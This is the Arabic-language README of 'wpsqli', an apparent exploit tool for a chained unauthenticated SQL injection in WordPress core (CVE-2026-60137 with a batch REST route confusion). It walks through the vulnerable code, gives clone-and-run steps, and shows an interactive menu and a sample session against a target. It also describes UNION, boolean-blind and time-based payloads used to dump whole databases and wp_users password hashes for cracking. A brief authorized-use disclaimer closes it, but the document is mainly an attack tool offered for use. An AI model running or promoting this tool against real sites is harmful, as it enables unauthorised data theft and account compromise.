
wpsqli full SQLi extractor + dumper for CVE-2026-60137
أداة سريعة لاستخراج قواعد البيانات تعمل عبر قائمة تفاعلية، تستغل ثغرة حقن SQL في
author__not_inداخل نواة ووردبريس. تركز الأداة حصريًا على تعداد قواعد البيانات وتفريغها، مستغلةً اختلاط مسارات REST للدفعات (CVE-2026-63030) للوصول إلى نقطة حقن SQLi دون مصادقة.
wpsqli أداة مكتوبة بلغة Python نقية، مصممة لاستغلال ثغرة متسلسلة في نواة ووردبريس تتيح حقن SQL غير مصادَق عليه في قاعدة البيانات. تتجاوز التحقق من REST API في ووردبريس عبر خلل اختلاط المسارات للدفعات (batch route confusion)، لتوصيل حمولة نصية خام مباشرةً إلى نقطة حقن SQL في WP_Query.
صُممت هذه الأداة للسرعة والمرونة: فهي تحاول تلقائيًا الاستخراج القائم على UNION داخل النطاق (فوري)، ثم تنتقل إلى الاستخراج الأعمى المنطقي المتوازي (8 خيوط)، وأخيرًا إلى الاستخراج الزمني التسلسلي عند الحاجة.
تجمع هذه الأداة بين ثغرتين مستقلتين لتحقيق استخراج غير مصادَق لقاعدة البيانات:
author__not_in (CVE-2026-60137)الموقع: wp-includes/class-wp-query.php, WP_Query::get_posts()
لا يطبّق معامل author__not_in عملية التعقيم absint() إلا إذا كان الإدخال مصفوفة. فإذا مُرِّر نص (string)، يُتجاوز حارس is_array()، ويمر النص عبر implode() دون تغيير، ثم يُدمج خامًا في جملة SQL الخاصة بـ $where.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
تعيّن نقطة نهاية posts في REST API معامل author_exclude إلى author__not_in، لكنها تعلنه كنوع type => 'array' من الأعداد الصحيحة، لذا تفرض النواة النص أو ترفضه. تُهرّب الثغرة B النص متجاوزةً التحقق عبر استغلال خلل عدم التزامن في نقطة نهاية REST للدفعات (/wp-json/batch/v1). بحقن مُهيئ مسار مشوه يرفضه wp_parse_url()، يُزرع WP_Error في قائمة طلبات الدفعة، مما يفقد التزامن بين $matches و$validation. وهذا يسمح لطلب فرعي لاحق بأن يُرسل عبر معالج خاطئ دون التحقق من المعاملات.
تنبيه: لا يمكن الوصول إلى نقطة حقن SQLi إلا عندما لا تكون ذاكرة التخزين المؤقت للكائنات (Redis/Memcached) قيد الاستخدام.
pip install.wp_posts وهميًا لاستخراج النصوص كاملة في طلب HTTP واحد (فوري).Ctrl+C أثناء الاستخراج يوقف الاستعلام الحالي ويعيد النتائج الجزئية دون انهيار الجلسة.ID|user_login|user_pass مع تجزئات bcrypt جاهزة لـ hashcat -m 35500.لا يتطلب التثبيت. فقط قم بالتنزيل والتشغيل:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
المتطلبات:
شغّل القائمة التفاعلية:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| الخيار | الوصف |
|---|---|
0 | الاتصال بهدف (ينظف عناوين URL تلقائيًا) |
1 | التحقق من الثغرة ونمط الاستخراج النشط |
| الخيار | الوصف |
|---|---|
9 | سرد جميع قواعد البيانات على خادم MySQL |
10 | سرد جميع الجداول في قاعدة البيانات الحالية أو المحددة |
11 | سرد جميع أسماء الأعمدة لجدول معين |
| الخيار | الوصف |
|---|---|
12 | تفريغ جدول واحد (مع حد أقصى اختياري لعدد الصفوف وحفظ في ملف) |
13 | تفريغ جميع الجداول في قاعدة البيانات الحالية |
14 | تفريغ شامل بالكامل — جميع الجداول + جميع الصفوف إلى ملف مختوم بوقت |
تحاول الأداة تلقائيًا استخدام ثلاثة أنماط للاستخراج مرتبة حسب السرعة:
يصطنع صف wp_posts وهميًا بقيمة مستخرجة مشفرة بالنظام الست عشري في عمود post_title (محاطة بعلامتي ||..||). تعيد REST API عرضها في الاستجابة — النص كاملًا في طلب HTTP واحد.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) لتشفير النتيجةإذا كان UNION غير متاح، يستخدم 8 خيوط متوازية مع بحث ثنائي لاستخراج كل حرف. يتحقق الشرط المنطقي من ما إذا كان الشرط المحقون AND (condition) يُرجع صفوفًا.
خيار احتياطي إذا لم يُرجع الشرط المنطقي أي صفوف (مثل موقع لا يحتوي على منشورات منشورة). يستخدم IF(condition, SLEEP(N), 0) لتشفير النتيجة في زمن استجابة الخادم.
صُممت هذه الأداة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط. يجب استخدام هذه الأداة فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.
مؤلفو هذه الأداة ومساهموها غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. الاستخدام على مسؤوليتك الخاصة
تُقدَّم هذه الأداة للأغراض التعليمية والاختبار المصرح به فقط.
| نطاق الإصدار | الحالة |
|---|
| 6.8.0 – 6.8.5 | ثغرة SQLi موجودة، لكن السلسلة غير قابلة للوصول (اختلاط الدفعات أُدخل في 6.9.0) |
| 6.9.0 – 6.9.4 | قابلة للاستغلال — سلسلة كاملة دون مصادقة |
| 7.0.0 – 7.0.1 | قابلة للاستغلال — سلسلة كاملة دون مصادقة |
| 6.8.6 | مصححة (SQLi) |
| 6.9.5 | مصححة |
| 7.0.2 | مصححة |
| 7.1-beta2+ | مصححة |
| الخيار | الوصف |
|---|
2 | استخراج إصدار MySQL (SELECT @@version) |
3 | استخراج اسم قاعدة البيانات الحالية (SELECT DATABASE()) |
4 | استخراج مستخدم قاعدة البيانات الحالي (SELECT CURRENT_USER()) |
5 | استخراج بادئة جداول ووردبريس |
6 | تفريغ جدول wp_users (المعرف، اسم الدخول، تجزئة كلمة المرور) |
7 | تنفيذ استعلام SQL مخصص |
8 | تنفيذ جميع بصمات النظام (الخيارات 2-5) بالتسلسل |
| النمط | الطلبات لكل استعلام | السرعة | متى يُستخدم |
|---|
| UNION | 1 | فوري | لا توجد ذاكرة تخزين مؤقتة للكائنات، عدد الأعمدة متطابق |
| أعمى منطقي (8 خيوط) | ~7 × طول النص / 8 | سريع | UNION محظور، توجد صفوف |
| زمني | ~7 × التأخير × طول النص | بطيء | لا توجد صفوف للشرط المنطقي |
| الاستخراج | الأحرف | الطلبات | الوقت |
|---|
| إصدار MySQL | ~20 | ~140 | ~15 ثانية |
| اسم قاعدة البيانات | ~15 | ~105 | ~12 ثانية |
| مستخدم قاعدة البيانات | ~25 | ~175 | ~20 ثانية |
| بادئة الجداول | ~5 | ~35 | ~5 ثوانٍ |
| صف wp_users (200 حرف) | 200 | ~1400 | ~دقيقتان |